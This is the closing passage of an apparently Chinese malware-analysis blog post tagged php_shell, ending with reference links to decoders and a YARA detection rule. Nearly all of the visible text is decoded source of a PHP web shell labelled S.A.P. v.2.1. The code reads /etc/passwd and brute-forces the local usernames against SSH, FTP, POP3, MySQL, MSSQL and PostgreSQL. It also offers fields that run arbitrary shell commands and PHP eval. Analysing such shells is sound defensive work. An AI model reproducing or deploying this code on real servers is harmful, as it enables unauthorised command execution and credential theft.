class="symbol">:</label></td><td><input</span> type=<span class="string">"text"</span> name=<span class="string">"h[p]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($p['ha']); ?>"</span>/> : <input type=<span class="string">"text"</span> name=<span class="string">"p[p]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo intval($p['hp']); ?>"</span> style=<span class="string">"width:42px"</span>/></td></tr><?php</span><br><span class="line"> } ?> </table></fieldset> <fieldset style=<span class="string">"margin-top:10px"</span>><legend><span class="symbol">Combinations:</span> </legend><table class=<span class="string">"form"</span> width=<span class="string">"100%"</span>><tr><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"el"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'el'</span>])) echo <span class="string">' checked="checked"'</span>; ?>/> root : root</label></td><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"ep"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'ep'</span>])) echo <span class="string">' checked="checked"'</span>; ?>/> root : ftproot</label></td></tr><tr><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"er"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'er'</span>])) echo <span class="string">' checked="checked"'</span>; ?>/> root : toor</label></td><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"es"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'es'</span>])) echo <span class="string">' checked="checked"'</span>; ?>/> root : rootftp</label></td></tr></table></fieldset> <fieldset style=<span class="string">"text-align:right"</span>><input type=<span class="string">"submit"</span> name=<span class="string">"bg"</span> value=<span class="string">"&gt;"</span>/></fieldset></form></div> <?php</span><br><span class="line"> echo <span class="string">'<div style="float:left; margin:10px; width:640px;">'</span>;</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'bg'</span>]) && !empty(<span class="variable">$_POST</span>[<span class="string">'brp'</span>])) { ?><table border=<span class="string">"1"</span> class=<span class="string">"list"</span> width=<span class="string">"100%"</span>><tr><th><span class="title class_">Protocol</span></th><th><span class="title class_">Login</span></th><th><span class="title class_">Password</span></th><th><span class="title class_">Result</span></th></tr><?php</span><br><span class="line"> <span class="variable">$a</span> = <span class="variable">@file</span>(<span class="string">'/etc/passwd'</span>);</span><br><span class="line"> foreach (<span class="variable">$a</span> as <span class="variable">$l</span>) {</span><br><span class="line"> <span class="variable">$l</span> = explode(<span class="string">':'</span>, <span class="variable">$l</span>);</span><br><span class="line"> <span class="variable">$l</span> = <span class="variable">$l</span>[<span class="number">0</span>];</span><br><span class="line"> <span class="variable">$c</span> = array(</span><br><span class="line"> <span class="string">''</span></span><br><span class="line"> );</span><br><span class="line"> foreach (<span class="variable">$_POST</span>[<span class="string">'brp'</span>] as <span class="variable">$v</span>) {</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'el'</span>])) <span class="variable">$c</span>[] = <span class="variable">$l</span>;</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'er'</span>])) <span class="variable">$c</span>[] = strrev(<span class="variable">$l</span>);</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'ep'</span>])) foreach (<span class="variable">$ </span>{</span><br><span class="line"> <span class="variable">$v</span></span><br><span class="line"> }</span><br><span class="line"> [<span class="string">'ps'</span>] as <span class="variable">$k</span>) <span class="variable">$c</span>[] = <span class="variable">$k</span> . <span class="variable">$l</span>;</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'es'</span>])) foreach (<span class="variable">$ </span>{</span><br><span class="line"> <span class="variable">$v</span></span><br><span class="line"> }</span><br><span class="line"> [<span class="string">'ps'</span>] as <span class="variable">$k</span>) <span class="variable">$c</span>[] = <span class="variable">$l</span> . <span class="variable">$k</span>;</span><br><span class="line"> <span class="variable">$c</span> = array_merge(<span class="variable">$c</span>, <span class="variable">$ </span>{</span><br><span class="line"> <span class="variable">$v</span></span><br><span class="line"> }</span><br><span class="line"> [<span class="string">'ps'</span>]);</span><br><span class="line"> switch (<span class="variable">$v</span>) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'h'</span>:</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$r</span> = <span class="variable">@ssh2_connect</span>(<span class="variable">$h</span>[<span class="string">'ha'</span>], <span class="variable">$h</span>[<span class="string">'hp'</span>])) {</span><br><span class="line"> <span class="variable">$b</span> = <span class="title class_">FALSE</span>;</span><br><span class="line"> foreach (<span class="variable">$c</span> as <span class="variable">$k</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@ssh2_auth_password</span>(<span class="variable">$r</span>, <span class="variable">$l</span>, <span class="variable">$k</span>)) <span class="variable">$b</span> = <span class="title class_">TRUE</span>;</span><br><span class="line"> echo <span class="string">'<tr class="'</span>, <span class="variable">$b</span> ? <span class="string">'ok'</span> : <span class="string">'fail'</span>, <span class="string">'"><td>SSH</td><td>'</span>, escHTML(<span class="variable">$l</span>) , <span class="string">'</td><td>'</span>, escHTML(<span class="variable">$k</span>) , <span class="string">'</td><td>'</span>, <span class="variable">$b</span> ? <span class="string">'OK'</span> : <span class="string">'FAILED'</span>, <span class="string">'</td></tr>'</span>;</span><br><span class="line"> flush();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$b</span>) break;</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">@usleep</span>(<span class="number">500</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> break;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'f'</span>:</span><br><span class="line"> <span class="variable">$b</span> = <span class="title class_">FALSE</span>;</span><br><span class="line"> foreach (<span class="variable">$c</span> as <span class="variable">$k</span>) <span class="keyword">if</span> (<span class="variable">$r</span> = <span class="variable">@ftp_connect</span>(<span class="variable">$f</span>[<span class="string">'ha'</span>], <span class="variable">$f</span>[<span class="string">'hp'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@ftp_login</span>(<span class="variable">$r</span>, <span class="variable">$l</span>, <span class="variable">$k</span>)) <span class="variable">$b</span> = <span class="title class_">TRUE</span>;</span><br><span class="line"> echo <span class="string">'<tr class="'</span>, <span class="variable">$b</span> ? <span class="string">'ok'</span> : <span class="string">'fail'</span>, <span class="string">'"><td>FTP</td><td>'</span>, escHTML(<span class="variable">$l</span>) , <span class="string">'</td><td>'</span>, escHTML(<span class="variable">$k</span>) , <span class="string">'</td><td>'</span>, <span class="variable">$b</span> ? <span class="string">'OK'</span> : <span class="string">'FAILED'</span>, <span class="string">'</td></tr>'</span>;</span><br><span class="line"> <span class="variable">@ftp_close</span>(<span class="variable">$r</span>);</span><br><span class="line"> flush();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$b</span>) break;</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">@usleep</span>(<span class="number">500</span>);</span><br><span class="line"> }</span><br><span class="line"> break;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'m'</span>:</span><br><span class="line"> foreach (<span class="variable">$c</span> as <span class="variable">$k</span>) <span class="keyword">if</span> (<span class="variable">$r</span> = <span class="variable">@fsockopen</span>(<span class="variable">$m</span>[<span class="string">'ha'</span>], <span class="variable">$m</span>[<span class="string">'hp'</span>], <span class="variable">$en</span>, <span class="variable">$es</span>, <span class="number">2</span>)) {</span><br><span class="line"> <span class="variable">@fgets</span>(<span class="variable">$r</span>);</span><br><span class="line"> <span class="variable">@fwrite</span>(<span class="variable">$r</span>, <span class="string">"USER "</span> . <span class="variable">$l</span> . <span class="string">"\n"</span>);</span><br><span class="line"> <span class="variable">$t</span> = <span class="variable">@fgets</span>(<span class="variable">$r</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$t</span>[<span class="number">0</span>] == <span class="string">'-'</span>) {</span><br><span class="line"> <span class="variable">@fwrite</span>(<span class="variable">$r</span>, <span class="string">"PASS "</span> . <span class="variable">$k</span> . <span class="string">"\n"</span>);</span><br><span class="line"> <span class="variable">$t</span> = <span class="variable">@fgets</span>(<span class="variable">$r</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">@fwrite</span>(<span class="variable">$r</span>, <span class="string">"QUIT\n"</span>);</span><br><span class="line"> <span class="variable">@fclose</span>(<span class="variable">$r</span>);</span><br><span class="line"> echo <span class="string">'<tr class="'</span>, (<span class="variable">$t</span>[<span class="number">0</span>] == <span class="string">'-'</span>) ? <span class="string">'fail'</span> : <span class="string">'ok'</span>, <span class="string">'"><td>POP3</td><td>'</span>, escHTML(<span class="variable">$l</span>) , <span class="string">'</td><td>'</span>, escHTML(<span class="variable">$k</span>) , <span class="string">'</td><td>'</span>, (<span class="variable">$t</span>[<span class="number">0</span>] == <span class="string">'-'</span>) ? <span class="string">'FAILED'</span> : <span class="string">'OK'</span>, <span class="string">'</td></tr>'</span>;</span><br><span class="line"> flush();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$t</span>[<span class="number">0</span>] == <span class="string">'-'</span>) <span class="variable">@usleep</span>(<span class="number">500</span>);</span><br><span class="line"> <span class="keyword">else</span> break;</span><br><span class="line"> }</span><br><span class="line"> break;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'y'</span>:</span><br><span class="line"> foreach (<span class="variable">$c</span> as <span class="variable">$k</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$r</span> = <span class="variable">@mysql_connect</span>(<span class="variable">$y</span>[<span class="string">'ha'</span>] . <span class="string">':'</span> . <span class="variable">$y</span>[<span class="string">'hp'</span>], <span class="variable">$l</span>, <span class="variable">$k</span>, <span class="title class_">TRUE</span>)) <span class="variable">@mysql_close</span>(<span class="variable">$r</span>);</span><br><span class="line"> echo <span class="string">'<tr class="'</span>, <span class="variable">$r</span> ? <span class="string">'ok'</span> : <span class="string">'fail'</span>, <span class="string">'"><td>MySQL</td><td>'</span>, escHTML(<span class="variable">$l</span>) , <span class="string">'</td><td>'</span>, escHTML(<span class="variable">$k</span>) , <span class="string">'</td><td>'</span>, <span class="variable">$r</span> ? <span class="string">'OK'</span> : <span class="string">'FAILED'</span>, <span class="string">'</td></tr>'</span>;</span><br><span class="line"> flush();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$r</span>) break;</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">@usleep</span>(<span class="number">500</span>);</span><br><span class="line"> }</span><br><span class="line"> break;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'s'</span>:</span><br><span class="line"> foreach (<span class="variable">$c</span> as <span class="variable">$k</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$r</span> = <span class="variable">@mssql_connect</span>(<span class="variable">$s</span>[<span class="string">'ha'</span>] . <span class="string">','</span> . <span class="variable">$s</span>[<span class="string">'hp'</span>], <span class="variable">$l</span>, <span class="variable">$k</span>, <span class="title class_">TRUE</span>)) <span class="variable">@mssql_close</span>(<span class="variable">$r</span>);</span><br><span class="line"> echo <span class="string">'<tr class="'</span>, <span class="variable">$r</span> ? <span class="string">'ok'</span> : <span class="string">'fail'</span>, <span class="string">'"><td>MSSQL</td><td>'</span>, escHTML(<span class="variable">$l</span>) , <span class="string">'</td><td>'</span>, escHTML(<span class="variable">$k</span>) , <span class="string">'</td><td>'</span>, <span class="variable">$r</span> ? <span class="string">'OK'</span> : <span class="string">'FAILED'</span>, <span class="string">'</td></tr>'</span>;</span><br><span class="line"> flush();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$r</span>) break;</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">@usleep</span>(<span class="number">500</span>);</span><br><span class="line"> }</span><br><span class="line"> break;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'p'</span>:</span><br><span class="line"> foreach (<span class="variable">$c</span> as <span class="variable">$k</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$r</span> = <span class="variable">@pg_connect</span>(<span class="string">'host='</span> . <span class="variable">$p</span>[<span class="string">'ha'</span>] . <span class="string">' port='</span> . <span class="variable">$p</span>[<span class="string">'hp'</span>] . <span class="string">' user='</span> . <span class="variable">$l</span> . <span class="string">' password='</span> . <span class="variable">$k</span>)) <span class="variable">@pg_close</span>(<span class="variable">$r</span>);</span><br><span class="line"> echo <span class="string">'<tr class="'</span>, <span class="variable">$r</span> ? <span class="string">'ok'</span> : <span class="string">'fail'</span>, <span class="string">'"><td>PostgreSQL</td><td>'</span>, escHTML(<span class="variable">$l</span>) , <span class="string">'</td><td>'</span>, escHTML(<span class="variable">$k</span>) , <span class="string">'</td><td>'</span>, <span class="variable">$r</span> ? <span class="string">'OK'</span> : <span class="string">'FAILED'</span>, <span class="string">'</td></tr>'</span>;</span><br><span class="line"> flush();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$r</span>) break;</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">@usleep</span>(<span class="number">500</span>);</span><br><span class="line"> }</span><br><span class="line"> break;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> echo <span class="string">'</table>'</span>;</span><br><span class="line"> } ?></div><br style=<span class="string">"clear:both"</span>/><?php</span><br><span class="line"> } elseif (isset(<span class="variable">$_POST</span>[<span class="string">'sc'</span>])) {</span><br><span class="line"> <span class="variable">@session_write_close</span>();</span><br><span class="line"> function pe(<span class="variable">$c</span>) {</span><br><span class="line"> <span class="variable">@ob_start</span>();</span><br><span class="line"> <span class="variable">$e</span> = <span class="literal">false</span>;</span><br><span class="line"> <span class="variable">@eval</span>(<span class="string">'$e=true;'</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$e</span>) <span class="variable">@eval</span>(<span class="variable">$c</span>);</span><br><span class="line"> elseif (<span class="variable">@function_exists</span>(<span class="string">'create_function'</span>)) {</span><br><span class="line"> <span class="variable">$f</span> = <span class="variable">@create_function</span>(<span class="string">''</span>, <span class="variable">$c</span>);</span><br><span class="line"> <span class="variable">$f</span>();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$f</span> = ctf(<span class="string">'<?php '</span> . <span class="variable">$c</span> . <span class="string">' ?>'</span>);</span><br><span class="line"> <span class="variable">@include</span> (<span class="variable">$f</span>);</span><br><span class="line"> <span class="variable">@unlink</span>(<span class="variable">$f</span>);</span><br><span class="line"> }</span><br><span class="line"> echo escHTML(<span class="variable">@ob_get_clean</span>());</span><br><span class="line"> }</span><br><span class="line"> echo <span class="string">'<pre>'</span>;</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'ex'</span>])) se(<span class="string">'('</span> . <span class="variable">$_POST</span>[<span class="string">'ex'</span>] . <span class="string">')2>&1'</span>);</span><br><span class="line"> elseif (!empty(<span class="variable">$_POST</span>[<span class="string">'ev'</span>])) pe(<span class="variable">$_POST</span>[<span class="string">'ev'</span>]);</span><br><span class="line"> echo <span class="string">'</pre>'</span>;</span><br><span class="line"> } elseif (isset(<span class="variable">$_POST</span>[<span class="string">'si'</span>])) { ?><fieldset><form action=<span class="string">""</span> method=<span class="string">"post"</span>><button type=<span class="string">"submit"</span> name=<span class="string">"si"</span> value=<span class="string">""</span>>phpinfo</button><?php</span><br><span class="line"> <span class="keyword">if</span> (!<span class="title class_">IW</span> && <span class="variable">@is_readable</span>(<span class="string">'/etc/passwd'</span>)) echo <span class="string">' <button type="submit" name="si" value="p">passwd</button>'</span>; ?></form></fieldset><?php</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$_POST</span>[<span class="string">'si'</span>] == <span class="string">'p'</span>) echo <span class="string">'<pre>'</span>, <span class="variable">@file_get_contents</span>(<span class="string">'/etc/passwd'</span>) , <span class="string">'</pre>'</span>;</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> ob_start();</span><br><span class="line"> phpinfo();</span><br><span class="line"> <span class="variable">$i</span> = str_replace(<span class="string">'<img '</span>, <span class="string">'<noimg '</span>, ob_get_clean());</span><br><span class="line"> <span class="variable">$is</span> = substr(<span class="variable">$i</span>, strpos(<span class="variable">$i</span>, <span class="string">'<style'</span>));</span><br><span class="line"> <span class="variable">$is</span> = substr(<span class="variable">$is</span>, <span class="number">0</span>, strpos(<span class="variable">$is</span>, <span class="string">'</style>'</span>)) . <span class="string">', p, table, th, td {font-size:12px}</style>'</span>;</span><br><span class="line"> <span class="variable">$is</span> = str_replace(array(</span><br><span class="line"> <span class="string">'body'</span>,</span><br><span class="line"> <span class="string">"\n"</span>,</span><br><span class="line"> <span class="string">','</span></span><br><span class="line"> ) , array(</span><br><span class="line"> <span class="string">'p'</span>,</span><br><span class="line"> <span class="string">' .php '</span>,</span><br><span class="line"> <span class="string">', .php '</span></span><br><span class="line"> ) , <span class="variable">$is</span>);</span><br><span class="line"> <span class="variable">$i</span> = substr(<span class="variable">$i</span>, strpos(<span class="variable">$i</span>, <span class="string">'<body>'</span>) + <span class="number">6</span>);</span><br><span class="line"> <span class="variable">$i</span> = substr(<span class="variable">$i</span>, <span class="number">0</span>, strrpos(<span class="variable">$i</span>, <span class="string">'</body>'</span>));</span><br><span class="line"> echo <span class="string">'<div class="php">'</span>, <span class="variable">$is</span>, <span class="variable">$i</span>, <span class="string">'</div>'</span>;</span><br><span class="line"> }</span><br><span class="line"> } ?><fieldset style=<span class="string">'font:normal 12px "Courier New"'</span>><form action=<span class="string">""</span>method=<span class="string">"post"</span>style=<span class="string">"margin-bottom:5px;"</span>><span class="title class_">Exec</span> : <input type=<span class="string">"text"</span>name=<span class="string">"ex"</span>value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo isset($_POST['ex']) ? escHTML($_POST['ex']) : (IW ? 'ver' : 'uname -a'); ?>"</span> style=<span class="string">"width:895px;"</span>/> <button type=<span class="string">"submit"</span> name=<span class="string">"sc"</span>>&gt;</button></form><form action=<span class="string">""</span> method=<span class="string">"post"</span> style=<span class="string">"margin-top:5px"</span>><span class="title class_">Eval</span> : <input type=<span class="string">"text"</span> name=<span class="string">"ev"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo isset($_POST['ev']) ? escHTML($_POST['ev']) : 'phpinfo();'; ?>"</span> style=<span class="string">"width:895px;"</span>/> <button type=<span class="string">"submit"</span> name=<span class="string">"sc"</span>>&gt;</button></form></fieldset><fieldset class=<span class="string">"footer"</span>><table width=<span class="string">"100%"</span> border=<span class="string">"0"</span>><tr><td>S.A.P. v.<span class="number">2.1</span></td><td align=<span class="string">"center"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span>><select name=<span class="string">"cs"</span>><?php</span><br><span class="line"> <span class="variable">$a</span> = array(</span><br><span class="line"> <span class="string">'UTF-8'</span>,</span><br><span class="line"> <span class="string">'Windows-1251'</span>,</span><br><span class="line"> <span class="string">'CP-866'</span>,</span><br><span class="line"> <span class="string">'KOI8-R'</span>,</span><br><span class="line"> <span class="string">'KOI8-U'</span>,</span><br><span class="line"> <span class="string">'ISO-8859-5'</span>,</span><br><span class="line"> <span class="string">'ISO-8859-1'</span></span><br><span class="line"> );</span><br><span class="line"> foreach (<span class="variable">$a</span> as <span class="variable">$v</span>) {</span><br><span class="line"> echo <span class="string">'<option value="'</span>, <span class="variable">$v</span>, <span class="string">'"'</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$_SESSION</span>[<span class="string">'CS'</span>] == <span class="variable">$v</span>) echo <span class="string">' selected="selected"'</span>;</span><br><span class="line"> echo <span class="string">'>'</span>, <span class="variable">$v</span>, <span class="string">'&nbsp;</option>'</span>;</span><br><span class="line"> } ?></select> <input type=<span class="string">"submit"</span> value=<span class="string">"&gt;"</span>/><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fef'</span>])) echo <span class="string">'<input type="hidden" name="fe" value="1"/><input type="hidden" name="fpr" value="'</span>, escHTML(str_rot13(<span class="variable">$_POST</span>[<span class="string">'fef'</span>])) , <span class="string">'"/>'</span>;</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$e</span> = array(</span><br><span class="line"> <span class="string">'fe'</span>,</span><br><span class="line"> <span class="string">'fs'</span>,</span><br><span class="line"> <span class="string">'se'</span>,</span><br><span class="line"> <span class="string">'nt'</span>,</span><br><span class="line"> <span class="string">'br'</span>,</span><br><span class="line"> <span class="string">'sc'</span>,</span><br><span class="line"> <span class="string">'si'</span></span><br><span class="line"> );</span><br><span class="line"> foreach (<span class="variable">$e</span> as <span class="variable">$i</span>) <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="variable">$i</span>])) {</span><br><span class="line"> echo <span class="string">'<input type="hidden" name="'</span> . <span class="variable">$i</span> . <span class="string">'"/>'</span>;</span><br><span class="line"> break;</span><br><span class="line"> }</span><br><span class="line"> } ?></form></td><td align=<span class="string">"right"</span>><?php</span><br><span class="line"> echo <span class="variable">@number_format</span>(mt() - <span class="title class_">ST</span>, <span class="number">3</span>, <span class="string">'.'</span>, <span class="string">''</span>); ?> s.</td></tr></table></fieldset></body></html><?php</span><br><span class="line"> die();</span><br><span class="line">?></span><br></pre></td></tr></table></figure>
<h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><ol>
<li><a target="_blank" rel="noopener" href="https://www.waitalone.cn/eval-gzinflate-base64_decode-decryption.html">独自等待_blog</a></li>
<li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.gzinflate.php">php官方手册</a></li>
<li><a target="_blank" rel="noopener" href="https://github.com/bediger4000">php木马分析大佬gith</a></li>
<li><a target="_blank" rel="noopener" href="https://github.com/Hestat/lw-yara/blob/759590cff7e95467c84eaa544ea54405a960b363/includes/tbl-status-shell.yar">该php木马监测规则</a></li>
<li><a target="_blank" rel="noopener" href="http://ddecode.com/phpdecoder/?home">php在线编码解码工具1</a></li>
<li><a target="_blank" rel="noopener" href="https://decode.cnxct.com/">php在线编码解码工具2</a></li>
</ol>
</div>
<footer class="post-footer">
<div class="followme">
<span>Welcome to my other publishing channels</span>
<div class="social-list">
<div class="social-item">
<span class="social-link">
<span class="icon">
<i class="fab fa-weixin"></i>
</span>
<span class="label">WeChat</span>
</span>
<img class="social-item-img" src="/uploads/wechat-qcode.jpg">
</div>
<div class="social-item">
<a target="_blank" class="social-link" href="/uploads/avatar.gif">
<span class="icon">
<i class="fab fa-qq"></i>
</span>
<span class="label">QQ</span>
</a>
</div>
</div>
</div>
<div class="post-tags">
<a href="/tags/malware-ayalysis/" rel="tag"># malware_ayalysis</a>
<a href="/tags/php-shell/" rel="tag"># php_shell</a>
</div>
<div class="post-nav">
<div class="post-nav-item">
<a href="/HTB-Linux-irked.html" rel="prev" title="HTB_Linux_irked">
<i class="fa fa-angle-left"></i> HTB_Linux_irked
</a>
</div>
<div class="post-nav-item">
<a href="/HTB-linux-Help.html" rel="next" title="HTB_linux_Help">
HTB_linux_Help <i class="fa fa-angle-right"></i>
</a>
</div>
</div>
</footer>
</article>
</div>
</div>
</main>
<footer class="footer">
<div class="footer-inner">
<div class="copyright">
© 2017 –
<span itemprop="copyrightYear">2025</span>
<span class="with-love">
<i class="fa fa-heart"></i>
</span>
<span class="author" itemprop="copyrightHolder">owefsad</span>
</div>
</div>
</footer>
<div class="toggle sidebar-toggle" role="button">
<span class="toggle-line"></span>
<span class="toggle-line"></span>
<span class="toggle-line"></span>
</div>
<div class="sidebar-dimmer"></div>
<div class="back-to-top" role="button" aria-label="Back to top">
<i class="fa fa-arrow-up fa-lg"></i>
<span>0%</span>
</div>
<a href="https://github.com/exexute" class="github-corner" title="Follow me on GitHub" aria-label="Follow me on GitHub" rel="noopener" target="_blank"><svg width="80" height="80" viewBox="0 0 250 250" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a>
<noscript>
<div class="noscript-warning">Theme NexT works best with JavaScript enabled</div>
</noscript>
</body>
</html>